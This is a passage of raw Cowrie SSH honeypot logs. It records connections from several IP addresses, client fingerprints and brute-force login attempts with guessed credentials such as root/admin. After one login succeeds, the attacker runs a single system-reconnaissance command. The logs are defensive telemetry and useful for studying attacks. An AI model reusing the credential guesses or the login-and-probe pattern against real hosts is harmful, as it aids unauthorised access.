0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:47.558395Z","src_ip":"45.156.87.147","session":"f6f2b07cd56e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"1q2w3e4r","message":"login attempt [systemd/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:47.811198Z","src_ip":"45.156.87.147","session":"f6f2b07cd56e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:48.896392Z","src_ip":"45.156.87.147","session":"f6f2b07cd56e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.114","src_port":35446,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cd2f34443db","protocol":"ssh","message":"New connection: 103.189.235.114:35446 (159.203.135.109:22) [session: 0cd2f34443db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:52.375311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:52.379094Z","src_ip":"103.189.235.114","session":"0cd2f34443db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:52.616983Z","src_ip":"103.189.235.114","session":"0cd2f34443db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42396,"dst_ip":"10.17.0.5","dst_port":22,"session":"543ac87b4e7b","protocol":"ssh","message":"New connection: 45.156.87.147:42396 (10.17.0.5:22) [session: 543ac87b4e7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:53.447958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:53.451600Z","src_ip":"45.156.87.147","session":"543ac87b4e7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:53.535213Z","src_ip":"45.156.87.147","session":"543ac87b4e7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hairy","password":"hairy123","message":"login attempt [hairy/hairy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:53.621405Z","src_ip":"103.189.235.114","session":"0cd2f34443db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"modzmodz","message":"login attempt [admin1/modzmodz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:53.792363Z","src_ip":"45.156.87.147","session":"543ac87b4e7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:54.867243Z","src_ip":"103.189.235.114","session":"0cd2f34443db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:54.916531Z","src_ip":"45.156.87.147","session":"543ac87b4e7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":41534,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cbc1523eac8","protocol":"ssh","message":"New connection: 147.45.199.80:41534 (159.203.135.109:22) [session: 0cbc1523eac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:54.948987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:54.953011Z","src_ip":"147.45.199.80","session":"0cbc1523eac8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:55.049988Z","src_ip":"147.45.199.80","session":"0cbc1523eac8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"101077","message":"login attempt [root/101077] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:55.343253Z","src_ip":"147.45.199.80","session":"0cbc1523eac8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:56.442320Z","src_ip":"147.45.199.80","session":"0cbc1523eac8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53666,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bb9e61d66ed","protocol":"ssh","message":"New connection: 45.156.87.147:53666 (10.17.0.5:22) [session: 5bb9e61d66ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:59.877502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:59.884939Z","src_ip":"45.156.87.147","session":"5bb9e61d66ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:38:59.977966Z","src_ip":"45.156.87.147","session":"5bb9e61d66ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:00.350984Z","src_ip":"45.156.87.147","session":"5bb9e61d66ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:01.439354Z","src_ip":"45.156.87.147","session":"5bb9e61d66ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53668,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc6769688d5c","protocol":"ssh","message":"New connection: 45.156.87.147:53668 (10.17.0.5:22) [session: dc6769688d5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:06.011566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:06.023040Z","src_ip":"45.156.87.147","session":"dc6769688d5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:06.102772Z","src_ip":"45.156.87.147","session":"dc6769688d5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"1234","message":"login attempt [jack/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:06.435894Z","src_ip":"45.156.87.147","session":"dc6769688d5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:07.524437Z","src_ip":"45.156.87.147","session":"dc6769688d5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":55232,"dst_ip":"159.203.135.109","dst_port":22,"session":"92cd4d812fed","protocol":"ssh","message":"New connection: 80.94.92.184:55232 (159.203.135.109:22) [session: 92cd4d812fed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:10.260313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:10.496445Z","src_ip":"80.94.92.184","session":"92cd4d812fed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:10.502932Z","src_ip":"80.94.92.184","session":"92cd4d812fed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:12.002655Z","src_ip":"80.94.92.184","session":"92cd4d812fed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":32814,"dst_ip":"10.17.0.5","dst_port":22,"session":"46bb8b96b1ab","protocol":"ssh","message":"New connection: 45.156.87.147:32814 (10.17.0.5:22) [session: 46bb8b96b1ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:12.161021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:12.165188Z","src_ip":"45.156.87.147","session":"46bb8b96b1ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:12.251912Z","src_ip":"45.156.87.147","session":"46bb8b96b1ab","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:12.507563Z","src_ip":"45.156.87.147","session":"46bb8b96b1ab","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:12.716675Z","src_ip":"45.156.87.147","session":"46bb8b96b1ab","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:12.719397Z","src_ip":"45.156.87.147","session":"46bb8b96b1ab","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:12.804920Z","src_ip":"45.156.87.147","session":"46bb8b96b1ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:12.809773Z","src_ip":"45.156.87.147","session":"46bb8b96b1ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:13.350118Z","src_ip":"80.94.92.184","session":"92cd4d812fed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":32820,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dbc892d89ee","protocol":"ssh","message":"New connection: 45.156.87.147:32820 (10.17.0.5:22) [session: 6dbc892d89ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:18.427082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:18.430556Z","src_ip":"45.156.87.147","session":"6dbc892d89ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:39:18.513164Z","src_ip":"45.156.87.147","session":"6dbc892d89ee","protocol":"ssh"}
